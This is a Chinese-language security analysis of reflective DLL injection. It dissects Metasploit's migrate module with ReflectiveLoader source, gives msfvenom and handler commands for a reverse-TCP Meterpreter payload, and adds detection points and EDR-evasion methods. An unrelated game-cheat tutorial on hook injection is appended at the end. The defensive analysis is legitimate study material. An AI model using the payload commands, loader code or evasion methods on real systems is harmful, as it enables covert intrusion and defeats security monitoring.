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新聞資訊

    一、前言

    dll注入技術是讓某個進程主動加載指定的dll的技術。惡意軟件為了提高隱蔽性,通常會使用dll注入技術將自身的惡意代碼以dll的形式注入高可信進程。

    常規的dll注入技術使用LoadLibraryA()函數來使被注入進程加載指定的dll。常規dll注入的方式一個致命的缺陷是需要惡意的dll以文件的形式存儲在受害者主機上。這樣使得常規dll注入技術在受害者主機上留下痕跡較大,很容易被edr等安全產品檢測到。為了彌補這個缺陷,stephen fewer提出了反射式dll注入技術并在github開源,反射式dll注入技術的優勢在于可以使得惡意的dll通過socket等方式直接傳輸到目標進程內存并加載,期間無任何文件落地,安全產品的檢測難度大大增加。

    本文將從dll注入技術簡介、msf migrate模塊剖析、檢測思路和攻防對抗的思考等方向展開說明反射式dll注入技術。

    二、dll注入技術簡介

    2.1 常規dll注入技術

    常規dll注入有:

    1. 通過調用CreateRemoteThread()/NtCreateThread()/RtlCreateUserThread()函數在被注入進程創建線程進行dll注入。
    2. 通過調用QueueUserAPC()/SetThreadContext()函數來劫持被注入進程已存在的線程加載dll。
    3. 通過調用SetWindowsHookEx()函數來設置攔截事件,在發生對應的事件時,被注入進程執行攔截事件函數加載dll。

    以使用CreateRemoteThread()函數進行dll注入的方式為例,實現思路如下:

    1. 獲取被注入進程PID。
    2. 在注入進程的訪問令牌中開啟SE_DEBUG_NAME權限。
    3. 使用openOpenProcess()函數獲取被注入進程句柄。
    4. 使用VirtualAllocEx()函數在被注入進程內開辟緩沖區并使用WriteProcessMemory()函數寫入DLL路徑的字符串。
    5. 使用GetProcAddress()函數在當前進程加載的kernel32.dll找到LoadLibraryA函數的地址。
    6. 通過CreateRemoteThread()函數來調用LoadLibraryA()函數,在被注入進程新啟動一個線程,使得被注入進程進程加載惡意的DLL。

    常規dll注入示意圖如上圖所示。該圖直接從步驟3)開始,步驟1)和步驟2)不在贅述。

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    2.2 反射式dll注入技術

    反射式dll注入與常規dll注入類似,而不同的地方在于反射式dll注入技術自己實現了一個reflective loader()函數來代替LoadLibaryA()函數去加載dll,示意圖如下圖所示。藍色的線表示與用常規dll注入相同的步驟,紅框中的是reflective loader()函數行為,也是下面重點描述的地方。

    Reflective loader實現思路如下:

    1. 獲得被注入進程未解析的dll的基地址,即下圖第7步所指的dll。
    2. 獲得必要的dll句柄和函數為修復導入表做準備。
    3. 分配一塊新內存去取解析dll,并把pe頭復制到新內存中和將各節復制到新內存中。
    4. 修復導入表和重定向表。
    5. 執行DllMain()函數。

    三、Msf migrate模塊剖析

    msf的migrate模塊是post階段的一個模塊,其作用是將meterpreter payload從當前進程遷移到指定進程。

    在獲得meterpreter session后可以直接使用migrate命令遷移進程,其效果如下圖所示:

    migrate的模塊的實現和stephen fewer的ReflectiveDLLInjection項目大致相同,增加了一些細節,其實現原理如下:

    1. 讀取metsrv.dll(metpreter payload模板dll)文件到內存中。
    2. 生成最終的payload。
    3. a) msf生成一小段匯編migrate stub主要用于建立socket連接。
    4. b) 將metsrv.dll的dos頭修改為一小段匯編meterpreter_loader主要用于調用reflective loader函數和dllmain函數。在metsrv.dll的config block區填充meterpreter建立session時的配置信息。
    5. c) 最后將migrate stub和修改后的metsrv.dll拼接在一起生成最終的payload。
    6. 向msf server發送migrate請求和payload。
    7. msf向遷移目標進程分配一塊內存并寫入payload。
    8. msf首先會創建的遠程線程執行migrate stub,如果失敗了,就會嘗試用apc注入的方式執行migrate stub。migrate stub會調用meterpreter loader,meterpreter loader才會調用reflective loader。
    9. reflective loader進行反射式dll注入。
    10. 最后msf client和msf server建立一個新的session。

    原理圖如下所示:

    圖中紅色的線表示與常規反射式dll注入不同的地方。紅色的填充表示修改內容,綠色的填充表示增加內容。migrate模塊的reflective loader是直接復用了stephen fewer的ReflectiveDLLInjection項目的ReflectiveLoader.c中的ReflectiveLoader()函數。下面我們主要關注reflective loader的行為。

    3.1 靜態分析

    3.1.1 獲取dll基地址

    ReflectiveLoader()首先會調用caller()函數

    uiLibraryAddress=caller();
    
    

    caller()函數實質上是_ReturnAddress()函數的封裝。caller()函數的作用是獲取caller()函數的返回值,在這里也就是ReflectiveLoader()函數中調用caller()函數的下一條指令的地址。

    #ifdef __MINGW32__
    #define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
    #else
    #pragma intrinsic(_ReturnAddress)
    #define WIN_GET_CALLER() _ReturnAddress()
    #endif
    __declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)WIN_GET_CALLER(); }
    
    

    然后,向低地址逐字節比較是否為為dos頭的標識MZ字串,若當前地址的內容為MZ字串,則把當前地址認為是dos頭結構體的開頭,并校驗dos頭e_lfanew結構成員是否指向pe頭的標識”PE”字串。若校驗通過,則認為當前地址是正確的dos頭結構體的開頭。

    while( TRUE )
    {
    	//將當前地址當成dos頭結構,此結構的e_magic成員變量是否指向MZ子串
    	if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic==IMAGE_DOS_SIGNATURE ) 
    	{
    		uiHeaderValue=((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
    		if( uiHeaderValue >=sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
    		{
    			uiHeaderValue +=uiLibraryAddress;
    			//判斷e_lfanew結構成員是否指向PE子串,是則跳出循環,取得未解析dll的基地址
    			if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature==IMAGE_NT_SIGNATURE )
    				break;
    		}
    	}
    	uiLibraryAddress--;
    }
    
    

    3.1.2 獲取必要的dll句柄和函數地址

    獲取必要的dll句柄是通過遍歷peb結構體中的ldr成員中的InMemoryOrderModuleList鏈表獲取dll名稱,之后算出dll名稱的hash,最后進行hash對比得到最終的hash。

    uiBaseAddress=(ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
    uiValueA=(ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
    while( uiValueA )
    {
    	uiValueB=(ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
    	usCounter=((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
    	uiValueC=0;
    	ULONG_PTR tmpValC=uiValueC;
        //計算tmpValC所指向子串的hash值,并存儲在uiValueC中
    	....
    	if( (DWORD)uiValueC==KERNEL32DLL_HASH )
    
    

    必要的函數是遍歷函數所在的dll導出表獲得函數名稱,然后做hash對比得到的。

    uiBaseAddress=(ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
    uiExportDir=uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
    uiNameArray=(ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
    uiExportDir=( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
    uiNameArray=( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
    uiNameOrdinals=( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
    usCounter=3;
    while( usCounter > 0 )
    		{
    		dwHashValue=_hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );
    			if( dwHashValue==LOADLIBRARYA_HASH
    			//等于其他函數hash的情況
                || ...
    			)
    			{
    				uiAddressArray=( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
    				uiAddressArray +=( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
    				if( dwHashValue==LOADLIBRARYA_HASH )
    					pLoadLibraryA=(LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
    				//等于其他函數hash的情況
                    ...
    				usCounter--;
    			}
    			uiNameArray +=sizeof(DWORD);
    			uiNameOrdinals +=sizeof(WORD);
    		}
    }
    
    

    3.1.3 將dll映射到新內存

    Nt optional header結構體中的SizeOfImage變量存儲著pe文件在內存中解析后所占的內存大小。所以ReflectiveLoader()獲取到SizeOfImage的大小,分配一塊新內存,然后按照section headers結構中的文件相對偏移和相對虛擬地址,將pe節一一映射到新內存中。

    //分配SizeOfImage的新內存
    uiBaseAddress=(ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
    ...
    uiValueA=((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
    uiValueB=uiLibraryAddress;
    uiValueC=uiBaseAddress;
    //將所有頭和節表逐字節復制到新內存
    while( uiValueA-- )
    	*(BYTE *)uiValueC++=*(BYTE *)uiValueB++;
    //解析每一個節表項
    uiValueA=( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
    uiValueE=((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
    while( uiValueE-- )
    {
    	uiValueB=( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
    	uiValueC=( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
    	uiValueD=((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
    	//將每一節的內容復制到新內存對應的位置
        while( uiValueD-- )
    		*(BYTE *)uiValueB++=*(BYTE *)uiValueC++;
    	uiValueA +=sizeof( IMAGE_SECTION_HEADER );
    }
    
    

    3.1.4 修復導入表和重定位表

    首先更具導入表結構,找到導入函數所在的dll名稱,然后使用loadlibary()函數載入dll,根據函數序號或者函數名稱,在載入的dll的導出表中,通過hash對比,并把找出的函數地址寫入到新內存的IAT表中。

    uiValueB=(ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
    uiValueC=( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
    //當沒有到達導入表末尾時
    while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics )
    {
    	//使用LoadLibraryA()函數加載對應的dll
    	uiLibraryAddress=(ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
    	...
    	uiValueD=( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
        //IAT表
    	uiValueA=( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
    	while( DEREF(uiValueA) )
    	{
            //如果導入函數是通過函數編號導入
    		if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
    		{	//通過函數編號索引導入函數所在dll的導出函數	
    			uiExportDir=uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
    			uiNameArray=(ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
    			uiExportDir=( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
    			uiAddressArray=( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
    			uiAddressArray +=( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
                //將對應的導入函數地址寫入IAT表
    			DEREF(uiValueA)=( uiLibraryAddress + DEREF_32(uiAddressArray) );
    		}
    		else
    		{
                //導入函數通過名稱導入的
    			uiValueB=( uiBaseAddress + DEREF(uiValueA) );
    			DEREF(uiValueA)=(ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
    		}
    		uiValueA +=sizeof( ULONG_PTR );
    		if( uiValueD )
    			uiValueD +=sizeof( ULONG_PTR );
    	}
    	uiValueC +=sizeof( IMAGE_IMPORT_DESCRIPTOR );
    }
    
    

    重定位表是為了解決程序指定的imagebase被占用的情況下,程序使用絕對地址導致訪問錯誤的情況。一般來說,在引用全局變量的時候會用到絕對地址。這時候就需要去修正對應內存的匯編指令。

    uiLibraryAddress=uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
    uiValueB=(ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
    //如果重定向表的值不為0,則修正重定向節
    if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
    {
    	uiValueE=((PIMAGE_BASE_RELOCATION)uiValueB)->SizeOfBlock;
    	uiValueC=( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
    	while( uiValueE && ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
    	{
    		uiValueA=( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
    		uiValueB=( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
    		uiValueD=uiValueC + sizeof(IMAGE_BASE_RELOCATION);
    		//根據不同的標識,修正每一項對應地址的值
            while( uiValueB-- )
    		{
    			if( ((PIMAGE_RELOC)uiValueD)->type==IMAGE_REL_BASED_DIR64 )
    				*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) +=uiLibraryAddress;
    			else if( ((PIMAGE_RELOC)uiValueD)->type==IMAGE_REL_BASED_HIGHLOW )
    				*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) +=(DWORD)uiLibraryAddress;
    			else if( ((PIMAGE_RELOC)uiValueD)->type==IMAGE_REL_BASED_HIGH )
    				*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) +=HIWORD(uiLibraryAddress);
    			else if( ((PIMAGE_RELOC)uiValueD)->type==IMAGE_REL_BASED_LOW )
    				*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) +=LOWORD(uiLibraryAddress);
    			uiValueD +=sizeof( IMAGE_RELOC );
    		}
    		uiValueE -=((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
    		uiValueC=uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
    	}
    }
    
    

    3.2 動態調試

    本節一方面是演示如何實際的動態調試msf的migrate模塊,另一方面也是3.1.1的一個補充,從匯編層次來看3.1.1節會更容易理解。

    首先用msfvenom生成payload

    msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.75.132 lport=4444 -f exe -o msf.exe
    
    

    并使用msfconsole設置監聽

    msf6 > use exploit/multi/handler
    [*] Using configured payload generic/shell_reverse_tcp
    msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcppayload=> windows/x64/meterpreter/reverse_tcp
    msf6 exploit(multi/handler) > set lhost 0.0.0.0
    lhost=> 0.0.0.0
    msf6 exploit(multi/handler) > exploit
    
    [*] Started reverse TCP handler on 0.0.0.0:4444 
    
    

    之后在受害機使用windbg啟動msf.exe并且

    bu KERNEL32!CreateRemoteThread;g
    
    

    獲得被注入進程新線程執行的地址,以便調試被注入進程。

    當建立session連接后,在msfconsole使用migrate命令

    migrate 5600 //5600是要遷移的進程的pid
    
    

    然后msf.exe在CreateRemoteThread函數斷下,CreateRemoteThread函數原型如下

    HANDLE CreateRemoteThread(
      [in]  HANDLE                 hProcess,
      [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
      [in]  SIZE_T                 dwStackSize,
      [in]  LPTHREAD_START_ROUTINE lpStartAddress,
      [in]  LPVOID                 lpParameter,
      [in]  DWORD                  dwCreationFlags,
      [out] LPDWORD                lpThreadId
    );
    
    

    所以我們要找第四個參數lpStartAddress的值,即r9寄存器的內容,

    使用

    !address 000001c160bb0000
    
    

    去notepad進程驗證一下,是可讀可寫的內存,基本上就是對的

    此時的地址是migrate stub匯編代碼的地址,我們期望直接斷在reflective loader的函數地址,我們通過

    s -a 000001c1`60bb0000 L32000 MZ //000001c1`60bb0000為上面的lpStartAddress,3200為我們獲取到的內存塊大小
    
    

    直接去搜MZ字串定位到meterpreter loader匯編的地址,進而定位到reflective loader的函數地址

    meterpreter loader將reflective loader函數的地址放到rbx中,所以我們可直接斷在此處,進入reflective loader的函數,如下圖所示

    reflective loader首先call 000001c1`60bb5dc9也就是caller()函數,caller()函數的實現就比較簡單了,一共兩條匯編指令,起作用就是返回下一條指令的地址

    在這里也就是0x000001c160bb5e08

    獲得下一條指令后的地址后,就會比較獲取的地址的內容是否為MZ如果不是的話就會把獲取的地址減一作為新地址比較,如果是的話,則會比較e_lfanew結構成員是否指向PE,若是則此時的地址作為dll的基地址。后面調試過程不在贅述。

    四、檢測方法

    反射式dll注入技術有很多種檢測方法,如內存掃描、IOA等。下面是以內存掃描為例,我想到的一些掃描策略和比較好的檢測點。

    掃描策略:

    1. Hook敏感api,當發生敏感api調用序列時,對注入進程和被注入進程掃描內存。
    2. 跳過InMemoryOrderModuleList中的dll。

    檢測點多是跟reflective loader函數的行為有關,檢測點如下:

    1. 強特征匹配_ReturnAddress()的函數。Reflectiveloader函數定位dos頭的前置操作就是調用調用_ReturnAddress()函數獲得當前dll的一個地址。
    2. 掃描定位pe開頭位置的代碼邏輯。詳見3.1節,我們可以弱匹配此邏輯。
    3. 掃描特定的hash函數和hash值。在dll注入過程中,需要許多dll句柄和函數地址,所以不得不使用hash對比dll名稱和函數名稱。我們可以匹配hash函數和這些特殊的hash值。
    4. 從整體上檢測dll注入。在被注入進程其實是存在兩份dll文件,一份是解析前的原pe文件,一份是解析后的pe文件。我們可以檢測這兩份dll文件的關系來確定是反射式dll注入工具。

    深信服云主機安全保護平臺CWPP能夠有效檢測此類利用反射式DLL注入payload的無文件攻擊技術。檢測結果如圖所示:

    五、攻防對抗的思考

    對于標準的反射dll注入是有很多種檢測方式的,主要是作者沒有刻意的做免殺,下面對于我搜集到了一些免殺方式,探討一下其檢測策略。

    1. 避免直接調用敏感api 。例如不直接調用writeprocessmemory等函數,而是直接用syscall調用。這種免殺方式只能繞過用戶態的hook。對于內核態hook可以解這個問題。
    2. dll在內存中的rwx權限進行了去除,變成rx。其實有好多粗暴的檢測反射式dll注入的攻擊方式,就是檢測rwx權限的內存是否為pe文件。
    3. 擦除nt頭和dos頭。這種免殺方式會直接讓檢測點4)影響較大,不能簡單的校驗pe頭了,需要加入更精確的確定兩個dll的文件,比如說,首先通過讀取未解析的dll的SizeOfImage的大小,然后去找此大小的內存塊,然后對比代碼段是否一致,去判斷是否為同一pe文件。
    4. 抹除未解析pe文件的內存。這種免殺方式會導致檢測點4)徹底失效,這種情況下我們只能對reflectiveloader()函數進行檢測。
    5. 抹除reflectiveloader()函數的內存。這里就比較難檢測了。但是也是有檢測點的,這里關鍵是如何確定這塊內存是pe結構,重建pe結構之后,我們可以通過導出表去看導出函數是否被抹除。


    01

    DLL注入方式

    外掛的注入方式有很多種,針對不同場景需求使用不同方式,咱們就來搞個專題 探討下。dll一旦成功注入進目標進程,就可以隨意讀寫 目標進程的內存(比如讀取血量或者修改某些值或者地址從而實現某些變態功能或者HOOK)還可以調用call 注入自己的代碼等等 。消息鉤子、遠程進程注入、入口點注入等等。注入方式可謂十幾種,大家感興趣的話支持一下。下此繼續更新此系列



    02

    鉤子注入

    今天我們講的是鉤子注入,算是比較簡單的一種了。但是網上看了一遍 都有很多錯誤的寫法 而且基本都是全局的鉤子,咱們今天重點來講下針對目標進程的鉤子注入,很多外掛也是用這種方式來做界面控制臺的收費端的

    首先我們來看下SetWindowsHookExA這個 api

    HHOOK SetWindowsHookExA( [in] int idHook, [in] HOOKPROC lpfn, [in] HINSTANCE hmod, [in] DWORD dwThreadId );

    參數1: 表示你要HOOK的消息類型 是鍵盤還是鼠標 還是其他的

    參數2:HOOK的消息回調函數

    參數3:目標的句柄

    參數4:目標的線程ID


    了解了API后 我們來思考幾個問題:

    1鉤子注入的流程

    2參數2的 消息回調函數是哪個進程的,是不是應該是目標進程的消息回調,總不能是咱們注入程序的把

    3既然是目標程序的,我們如何獲取他的消息回調函數


    以上三個問題解決了,咱們就可以實現局部鉤子注入了


    03

    鉤子注入流程


    鉤子注入流程是這樣的:

    1 在要被注入的dll 里面寫好消息回調函數

    并且寫個導出函數

    2注入程序:用loadlibrary() 加載一次 要被注入的dll 從而獲取到模塊句柄

    GetProcAddress可以獲取到導出函數的地址 這樣就可以取到要被注入的dll 里面的回調函數的地址了。


    這樣的方式 咱們就可以在目標程序內部實現鍵盤注入 比如按HOME 呼出界面。 而不是全局鉤子了


    核心代碼也就這么些行 理解有問題的話可以來找我要源碼或者和我探討

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